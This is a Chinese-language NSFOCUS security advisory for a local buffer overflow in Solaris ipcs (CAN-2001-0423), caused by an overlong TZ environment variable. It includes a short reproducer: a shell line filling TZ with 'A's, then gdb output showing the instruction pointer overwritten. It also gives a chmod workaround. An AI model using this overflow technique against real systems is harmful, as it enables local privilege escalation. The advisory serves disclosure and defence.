安全研究

安全漏洞
Solaris IPCS 时区变量本地缓冲区溢出漏洞

发布日期:2001-04-19
更新日期:2001-04-19

受影响系统:

Sun Solaris 7.0 x86
Sun Solaris 8.0 x86
描述:

BUGTRAQ  ID: 2581
CVE(CAN) ID: CAN-2001-0423

Solaris 所带的ipcs程序缺省设置了SGID sys属性。由于它在处理一个环境变量
时存在一个问题,可能导致本地用户提升权限。如果把环境变量TZ(时区)设置成
一个很大的字符串,就可能导致一个缓冲区溢出的发生,攻击者可以以sys组权限
执行任意代码。

这个漏洞影响SPARC和x86平台,但是似乎只有x86平台下才可能攻击成功。

<*来源:Riley Hassell (riley@eeye.com) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


bash-2.03$ TZ=`perl -e 'print "A"x1035'`
bash-2.03$ /usr/bin/i86/ipcs
IPC status from as of Wed Apr 11 17:18:59 [buffer] 2001
Message Queue facility inactive.
T ID KEY MODE OWNER GROUP
Shared Memory:
m 0 0x500004d3 --rw-r--r-- root root
Semaphore facility inactive.
Segmentation Fault (core dumped)

Note: [buffer] is any 1036 (or so) character string. A's...

bash-2.03$ su root
Password:
# gdb /usr/bin/i86/ipcs core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
<snip>
#0 0x41414141 in ?? ()
(gdb) info reg eip
eip 0x41414141 0x41414141
(gdb)


建议:

临时解决方法:

NSFOCUS建议您暂时去掉ipcs的sgid属性:
chmod g-s /usr/bin/i86/ipcs
chmod g-s /usr/bin/sparcv7/ipcs
chmod g-s /usr/bin/sparcv9/ipcs

厂商补丁:
暂无


浏览次数:3985
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障